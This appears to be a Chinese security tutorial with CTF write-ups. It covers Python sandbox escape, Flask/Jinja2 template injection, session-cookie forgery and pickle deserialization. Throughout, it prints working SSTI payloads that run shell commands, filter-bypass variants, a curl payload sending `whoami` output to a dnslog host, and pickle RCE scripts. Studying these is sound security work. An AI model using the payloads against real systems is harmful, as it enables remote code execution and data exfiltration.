◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。
相信大家在抄Payload的时候会发现(明明只有笔者抄 T.T),关于SSTI的Payload都是很长一大串,例如:
这是一个典型的文件读取Payload。可是我们现在并不知道原理,那么跟着笔者一步一步尝试来获取它其中的秘密吧!
首先我们需要理解一下Python的几种数据类型,笔者这里将常见数据类型放入一个列表中再进行依次打印,例如:
Python3:
Python2:
我们可以看到,使用type来进行检查数据类型时,会返回 <class 'XXX'>,那么我们会注意到XXX前的class,在编程语言中,class是用来定义类的。是的,没错,在Python中,一个字符串则为str类的对象,一个整形则为int类的对象,一个浮点数据则为float的对象...
我们可以通过id来看一下这些对象的编号是多少,如图:
得出首条结论:在Python中,一切皆对象。
那么知道这些有什么用呢?一个对象则存在属性与方法,我们可以通过dir来进行查看,如图(这里用普通字符串来进行举例):
我们可以看到字符串python2与python3都返回了upper,我们知道upper是一个函数,那么我们使用一下该方法。如图:
因为在Python中一切都是对象,所以方法与类也是对象,如图:
我们现在缺少的只是方法与类的调用而已,文章中不再描述如何调用。
那么现在问题就出来了,我们知道Python中存在数据类型,这些数据类型它们都是一个类,我们是怎么找到这个类并实例化出来它们的?又或者说,在Python中存在一些函数,我们是怎么找到它们并调用的?如何查找到是当前的一个问题。
我们可以通过globals函数来进行查看(globals是获取当前可访问到的变量):
我们可以看到我们定义的变量a已经放入到globals函数当中了,我们可以看到有__builtins__这样一个变量,它是一个模块。并且模块名在Python2中命名为__builtin__,在Python3中又重新命名为了builtins。
我们使用dir看一下该模块中所存在的一些内容。
我们可以看到,我们所使用的基础方法都存放在该模块中,我们使用该模块调用一下print函数来进行测试。
我们可以看到,在Python3中返回正常,Python2却抛出异常,这是因为在Python2中print为一个语句,在Python3中它换成了一个函数。
得出第二条结论:在Python2/3中,任何基础类以及函数都存放在__builtin__/builtins模块中。
那么如果我们通过一些方式,可以定位到__builtin__ / builtins模块,那岂不是可以进行进行调用任意函数了。
现在的问题是我们该怎么定位。
我们知道builtins是存放在globals函数中的,与变量的作用域是有关系的,谈到变量的作用域,我们会想到一个玩意:自定义方法。
我们可以自定义一个方法,将它视为一个对象,使用dir看一下它下面的成员属性。
如图:
果然,在一个普通方法中是存在__globals__这么一个成员属性的,我们可以打印它看一下。
我们可以看到 __globals__ 就是 globals() 函数的返回值,同理,它们下面都存在 __builtins__ 变量,我们可以使用“函数.__globals__['__builtins__'].恶意函数()”来执行一下eval。如图:
我们可以看到,eval被我们成功执行!
而方法也是可以定义在类中的,我们简单定义一个类,并且定义一个__init__魔术方法(__init__是魔术方法,该方法在被类创建时自动调用)。
我们可以看到同样是可以调用eval的。
如果我们不定义__init__会怎么样呢?我们可以看一下。
可以看到,在Python2中会报错,而python3中会返回slot。不定义__init__是不可以访问到__globals__成员属性的,如图:
我们再看一下模块中的方法与当前都有什么区别。
这里区别就很明显了,这里“模块中的方法”中__globals__[__builtins__]中的所有内容都被存放入一个字典中才可以进行调用。我们调用一下eval来进行测试,如图:
当然我们可以使用__import__函数调用os来进行执行命令,如图:
我们可以看到whoami被成功调用。
得出第三条结论:我们可以通过一个普通函数(或类中已定义的方法)对象下的__globals__成员属性来得到__builtins__,从而执行任意函数,这里要注意的是,模块与非模块下的__globals__的区别。
那么实际场景中,根本没有这样一个方法给我们利用。我们应该怎么做?
我们使用dir看一下普通类型(int,str,bool....)的返回结果。如图:
我们查看一下__class__的内容。如图:
可以看到通过__class__成员属性可以得到当前对象是XXX类的实例化。
在Python中,所有数据类型都存放于Object一个大类中,如图:
我们可以通过__bases__/__mro__/__base__来得到object,如图:
可以看到在python2中并没有直接返回object,我们可以再次访问__bases__就可以得到object了,如图:
那么通过__subclasses__即可得到object下的所有子类,如图:
下面我们就可以来依次判断这些类中是否定义__init__(或其他魔术方法)方法,如果定义,那么就可以拿到__init__(或其他魔术方法)下的__globals__[“__builtins__”]从而执行任意函数,编写脚本进行测试:
可以看到这些类都是可以进行利用的类。当然,也可以使用其他魔术方法,这里举例__delete__魔术方法,如图:
得出第四条结论:我们可以通过普通数据类型的__class__成员属性得到所属类,再通过__bases__/__base__/__mro__可以得到object类,再次通过__subclasses__()来得到object下的所有基类,遍历所有基类检查是否存在指定的魔术方法,如果存在,那么即可获取__globals__[__builtins__],就可以调用任意函数了。
如上总结在Python2/3中都是可以进行利用的,只是在Python2中多了一种file的姿势。
如图:
只是file在Python3中被移除了,故Python3中没有此利用姿势。
沙箱逃逸通常与flask的模板注入紧密联系,模板中存在可以植入表达式的可控点那么就会存在SSTI问题。
存在漏洞的代码:
from?flask?import?Flask,render_template,request,render_template_string,session
from?datetime?import?timedelta
app?=?Flask(__name__)
app.config['SECRET_KEY']?=?'hacker'
app.config['PERMANENT_SESSION_LIFETIME']?=?timedelta(days=7)
@app.route('/test',methods=['GET',?'POST'])
def?test():
content?=?request.args.get("content")
template?=?'''
<div>
<h1>Oops!?That?page?doesn't?exist.</h1>
<h3>%s</h3>
<h4>Your?Money?:?%s</h4>
</div>
'''?%(content,?session.get('money'))
return?render_template_string(template)
@app.route('/sess')
def?t():
session['money']?=?100
return?'设置金额成功...'
if?__name__?==?'__main__':
app.debug?=?True
app.run()
在/test路由中存在模板注入漏洞,那么我们可以通过传递payload:
?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}} 来进行执行任意命令(__subclasses__可利用的键值可以通过Burp从1-999进行爆破出结果,这里得到80可以被利用),如图:
至此,我们完成了首次模板注入。
但是成熟的模板注入类的题目它会进行一些过滤的。这里简单总结一下。
这里简单记录一下模板注入中的一些过滤的绕过。
我们知道__subclasses__()返回一个列表,__globals__返回一个字典,而列表的访问语法与字典的访问语法需要借助于中括号,如果将中括号过滤,那么我们怎么办呢?
我们使用dir来查看一下“正常的列表/正常的字典”下的成员属性及方法,如图:
可以看到存在__getitem__方法。
进行调用:
当然,字典的访问也是可以通过__getitem__方法来进行绕过(pop方法也可以被利用)。
如果过滤引号,我们岂不是不可以进行模板注入了?
引号则表示str类型的数据,而str类型的数据可以通过变量来表示,这里可以借助于flask中request.args对象来作为变量,以get传递进行赋值。
构造Payload:
?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.__builtins__][request.args.__import__](request.args.os).popen(request.args.whoami).read()}}&__builtins__=__builtins__&__import__=__import__&os=os&whoami=whoami
如图:
成功执行命令。
由于在jinja2中允许“对象[属性]”的方式来访问成员属性,如图:
此时的属性放置的内容为字符类型,我们可以通过request.args全程代替。
构造Payload:
?content={{[][request.args.class][request.args.base][request.args.subclasses]()[80][request.args.init][request.args.globals][request.args.builtins][request.args.import](request.args.os).popen(request.args.whoami).read()}}&builtins=__builtins__&import=__import__&os=os&whoami=whoami&class=__class__&base=__base__&subclasses=__subclasses__&init=__init__&globals=__globals__
如图:
当然,也可以通过字符串拼接的方式,构造Payload:
?content={{[]['_'+'_class_'+'_']}},结果如下:
{{}}通常来表示一个变量,而{%%}则表示为流程语句,虽然不可以回显内容,但是我们可以通过curl来进行外带数据。
Payload:
?content={% if ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('curl http://w9y7rp.dnslog.cn/?test=`whoami`').read() !=1 %}1{% endif %}
自定义一个web服务即可接收到,笔者这里使用的是dnslog,得不到发出的参数。如图:
当然反弹shell也是一种不错的姿势,这里就不再描述了。
在CTF考点中还存在一种身份伪造类的题目。我们看一下该代码块的sess路由,如图:
from?flask?import?Flask,render_template,request,render_template_string,session
from?datetime?import?timedelta
app?=?Flask(__name__)
app.config['SECRET_KEY']?=?'hacker'
app.config['PERMANENT_SESSION_LIFETIME']?=?timedelta(days=7)
@app.route('/test',methods=['GET',?'POST'])
def?test():
content?=?request.args.get("content")
template?=?'''
<div>
<h1>Oops!?That?page?doesn't?exist.</h1>
<h3>%s</h3>
<h4>Your?Money?:?%s</h4>
</div>
'''?%(content,?session.get('money'))
return?render_template_string(template)
@app.route('/sess')
def?t():
session['money']?=?100
return?'设置金额成功...'
if?__name__?==?'__main__':
app.debug?=?True
app.run()
我们可以看到,这里定义了session[money]=100。当我们访问/sess时,服务端就会返回一个jwt给我们,如图:
可以看到session是以jwt来进行存储的,而使用jwt存储是有危害的。
关于jwt的解释:https://www.jianshu.com/p/576dbf44b2ae
只要我们获取SECRET_KEY,那么该JWT是可以进行伪造的。
问题是我们如何进行获取SECRET_KEY?
如图:
我们可以看到,{{config}}是可以窃取出SECRET_KEY。
这种姿势我们会在“CTF小结”中的一道叫做“[PASECA2019] honey_shop”的题目所记载。它需要任意文件读取的姿势才可以进行得到SECRET_KEY。
有一道叫做“[CISCN2019 华北赛区 Day1 Web2]ikun”的题目涉及到了这种姿势,其中又提到了Python反序列化,这里奉上WriteUp:
https://blog.csdn.net/weixin_43345082/article/details/97817909
对于反序列化,笔者会在0x02中进行描述。
我们可以通过flask-session-cookie-manager工具来生成恶意的JWT即可完成身份伪造,工具GitHub:https://github.com/style-404/flask-session-cookie-manager。
首先我们对当前的JWT进行base64解码,如图:
这里可以得出一条JSON数据过来,那么我们使用flask-session-cookie-manager工具,借助SECRET_KEY来将money篡改为999.
工具使用:python3 flask_session_cookie_manager3.py encode -s "secret_key" -t "json"
修改本地的session值,随后访问/test查看结果。
可以看到成功篡改money的值。
它所利用的条件为 任意文件读取+flask的DEBUG模式。
参考文章:https://xz.aliyun.com/t/2553
这里笔者就不再做演示了。
这道题是比较基础的一道题目,无任何过滤,我们直接进行注入即可。
可以看到表达式被正常解析,那么继续往下操作即可。
构造Payload:
?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('ls /').read()}}
命令执行结果如图:
该题目有两个功能,Base64加密与Base64解密,在Base64解密处存在模板注入。
题目如图:
解密结果:
由此得知存在ssti。
经过测试,得知75存在可利用的function为__init__,如图:
提交后:
但继续往下构造攻击链时,发现过滤了一些敏感关键字,使用open进行读取源码:
源码过滤如图:
我们可以看到万恶的request也被过滤了,但是这里我们可以使用字符拼接来进行绕过,popen可以使用中括号加字符拼接的方式进行调用,那么构造Payload:{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('ls /').read()}}
编码为base64后提交,查看一下结果:
存在flag关键字,导致我们无法读取,这里我们可以通过命令执行的绕过姿势“\\”来进行绕过,再次构造Payload:
{{[].__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s')['po'+'pen']('cat /this_is_the_fl\\ag.txt').read()}}
编码为base64后进行提交:
打开题目源码发现提示参数 search
那么我们可以通过?search={{2*3}}来查看一下结果。
可以看到6弹我们一脸,那么此处存在ssti。
__subclasses__丢进Burp进行爆破键值,如图:
得出下标为59的__init__魔术方法可以被利用,如图:
构造Payload至__globals__发现被过滤,简单访问一下,真的返回500,如图:
可以使用request.arg.x 来进行绕过,构造Payload:
?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__builtins__']['__import__']('os').popen('ls /flasklight').read()}}&g=__globals__
查看结果:
再次构造Payload读取flag:
?search={{[].__class__.__base__.__subclasses__()[59].__init__[request.args.g]['__builtins__']['__import__']('os').popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}&g=__globals__
如图:
查看源代码,发现Ajax请求:
笔者在构造Payload时,发现过滤了 单引号(‘)、点(.),下划线(_),那么我们可以通过双引号来解析变量,并且使用16进制代替下划线即可。
如图:
构造Payload来进行爆破下标:
?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fsubclasses\x5F\x5F"]()[§80§]["\x5F\x5Finit\x5F\x5F"]}}
发现下标为91的__init__方法可以被利用,如图:
构造Payload执行命令:
?nickname={{[]["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbase\x5F\x5F"]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["\x5F\x5Finit\x5F\x5F"]["\x5F\x5Fglobals\x5F\x5F"]["\x5F\x5Fbuiltins\x5F\x5F"]["\x5F\x5Fimport\x5F\x5F"]("os")["popen"]("\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79")["read"]()}}
其中
\x63\x61\x74\x20\x2f\x70\x72\x6f\x63\x2f\x73\x65\x6c\x66\x2f\x63\x77\x64\x2f\x61\x70\x70\x2e\x70\x79
为 cat /proc/self/cwd/app.py,这里转换可以使用笔者已经写好的脚本:
payload?=?b'cat?/proc/self/cwd/app.py'
string?=?payload.hex()
result?=?''
for?i?in?range(0,?len(string),?2):
result?+=?'\\x'?+?string[i:i+2]
print(result)
结果如图:
可以看到flag文件被os删掉了,但是flag的值被存放于app.config当中,并且经过了encode函数处理,我们可以看一下encode函数的定义:
是使用的异或算法,那么现在我们只需要从config中拿到加密后的flag值,并且将它再次执行一下encode函数即可得到flag。
再次执行函数
则得到flag。
该题目属于JWT身份伪造攻击,首先我们打开主页,可以看到金额为1336,如图:
而flag需要1337。
在/download路由下存在文件下载,猜测存在任意文件下载,那么我们下载//proc/self/environ来进行观察,如图:
成功下载到并拿到SECRET_KEY,然后我们对当前网址的jwt使用base64进行解密,得出:
伪造为:,即可购买flag了。
因为在知乎有位师傅写的非常不错,那么笔者在这里也不去班门弄斧。
传送门:https://zhuanlan.zhihu.com/p/89132768
这里做一下总结,并且对一种利用姿势扩大成果,然后分享一道有意思的例题。
Python的反序列化比PHP危害更大,可以直接进行RCE。
编写测试脚本:
import?pickle,?os,?base64
class?Exp(object):
def?__reduce__(self):
return?(os.system,?('dir',))
with?open('https://www.freebuf.com/articles/web/hacker.txt',?'wb')?as?fileObj:
pickle.dump(Exp(),?fileObj)
会在当前目录生成hacker.txt,内容为序列化的值。如图:
我们再次使用pickle进行反序列化即可执行dir命令。
这里可以看到成功执行了dir命令。
当R指令码被禁用后,我们可以采取这种姿势来获取变量。
在当前目录下创建flag.py文件,并且存放一个flag变量,当作模块来进行使用。如图:
编写获取flag变量的脚本:
import?flag,?pickle
class?Person():
pass
b?=?b'\x80\x03c__main__ Person )\x81}(Vtest cflag flag ub.'
print(pickle.loads(b).test)
主要思路为:“cflag flag “当作test属性的value值压进了前序栈的空dict,随后使用b覆盖了Person类的__dict__成员属性,导致了变量被窃取。
我们可以看到pickle.loads返回的对象下的test就是flag的值,如图:
当R指令码被禁用后,并且find_class函数只允许获取__main__中的变量时,我们可以采取这种姿势来修改任意变量。
在原理文章中并没有提到一种姿势,而有一种姿势也是可以进行利用的。我们先按照原理文章来测试一遍。
测试脚本:
import?flag,?pickle
class?Person():
pass
b?=?b'\x80\x03c__main__ flag }(Vflag Vhacker ub0c__main__ Person )\x81}(Va Va ub.'
pickle.loads(b)
print(flag.flag)
主要思路为:使用c将flag模块导入进来,通过ub来更新flag模块的__dict__属性,故可以恶意修改变量的值。
查看结果:
我们可以看到,flag包中的flag变量被成功修改。
那么在反序列化中,一个普通字符串也是可以当作一种数据来进行序列化的,所以这里并不需要Person的类支撑即可完成变量修改。
修改脚本如下:
import?flag,?pickle
b?=?b'\x80\x03c__main__ flag }(Vflag Vhacker ub0Va .'
print(pickle.loads(b))
print(flag.flag)
结果:
那么就成功篡改了flag包中的flag变量的内容。
编写测试脚本:
import?flag,?pickle
class?Person():
pass
b?=?b'\x80\x03c__main__ object )\x81}(V__setstate__ cos system ubVdir b.'
print(pickle.loads(b))
主要思路为:借助于__setstate__的特性造成了RCE。
执行结果:
可以看到成功执行了dir命令。
这道题是朋友很早之前就留下来的,在网上也找不到现成的反序列化题目,就用它好了。
题目代码是这样的:
from?flask?import?Flask,render_template
from?flask?import?request
import?urllib
import?sys
import?os
import?pickle
import?ctf_config
from?jinja2?import?Template
import?base64
import?io
app?=?Flask(__name__)
class?RestrictedUnpickler(pickle.Unpickler):
def?find_class(self,?module,?name):
if?module?==?'__main__':
return?getattr(sys.modules['__main__'],?name)
raise?pickle.UnpicklingError("only?__main__")
def?get_domain(url):
if?url.startswith('http://'):
url?=?url[7:]
if?not?url.find("/")?==?-1:
domain?=?url[url.find("@")+1:url.index("/",url.find("@"))]
else:
domain?=?url[url.find("@")+1:]
print(domain)
return?domain
else:
return?False
@app.route("/",?methods=['GET'])
def?index():
return?render_template("index.html")
@app.route("/get_baidu",?methods=['GET'])?#?get_baidu?url=http://127.0.0.1:8000/?@www.baidu.com/
def?get_baidu():
url?=?request.args.get("url")
if(url?==?None):
return?"please?get?url"
if(get_domain(url)?==?"www.baidu.com"):
content?=?urllib.request.urlopen(url).read()
return?content
else:
return?render_template('index.html')
@app.route("/admin",?methods=['GET'])
def?admin():
data?=?request.args.get("data")
if(data?==?None):
return?"please?get?data"
ip?=?request.remote_addr
if?ip?!=?'127.0.0.1':
return?redirect('index')
else:
name?=?base64.b64decode(data)
if?b'R'?in?name:
return?"no?__reduce__"
name?=?RestrictedUnpickler(io.BytesIO(name)).load()
if?name?==?"admin":
t?=?Template("Hello?"?+?name)
else:
t?=?Template("Hello?"?+?ctf_config.name)
return?t.render()
if?__name__?==?'__main__':
app.debug?=?False
app.run(host='0.0.0.0',?port=8000)
在45行中存在一个判断。
if(get_domain(url)?==?"www.baidu.com"):
content?=?urllib.request.urlopen(url).read()
return?content
如果进入到该分支则调用至urllib.request.urlopen函数,那么我们看一下get_domain方法是逻辑是怎么样的。
在27行中出现了漏洞问题,如果url中存在“/”,则返回@符号往后的内容,那么这里存在一个伪造的情况,例如:http://127.0.0.1:3306/?@www.baidu.com/,
则会匹配到www.baidu.com/,但是实际发送出的HTTP请求还是发送至127.0.0.1身上,所以说这里存在一个SSRF漏洞问题。
而在51-68行中确实验证了访问者的IP(这里可以使用SSRF进行绕过),如图:
61行禁用了R指令,则表示不可以使用__reduce__进行命令执行操作,可以看到63行实例化了RestrictedUnpickler类,而该类则继承了pickle.Unpickler类,如图:
同时重写了find_class的方法,这时c指令只可以进行导入本地模块。而类名中存在“R关键字”,则无法进行__setstate__姿势的RCE,这里利用方式只剩下一种:c指令码的变量修改。
但是变量修改有什么用呢?我们可以注意到第67行的ctf_config包下的name变量,如图:
直接将变量的值拼接到Template方法中,这里存在一个SSTI注入问题。
那么思路就有了:通过get_data路由发送SSRF请求->admin路由接收进行反序列化->修改ctf_config下的name属性为SSTI注入语句->实现RCE。
那么编写POC脚本:
import?base64
ssti?=?b'2*6'
payload?=?b'\x80\x03c__main__ ctf_config }(Vname V{{'?+?ssti?+?b'}} ub0V123 .'
payload?=?base64.b64encode(payload).decode('utf-8')
print(payload)
传递Payload:
http://127.0.0.1:8000/get_baidu?url=http://127.0.0.1:8000/admin?data=SSTI的值%26@www.baidu.com/?
如图:
成功进行SSTI注入,笔者发现__subclasses__()的第81下标存在可利用的function,那么这里直接执行whoami:
可以看到成功执行了“whoami”。
无聊的话,就一起来玩会Python吧。
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。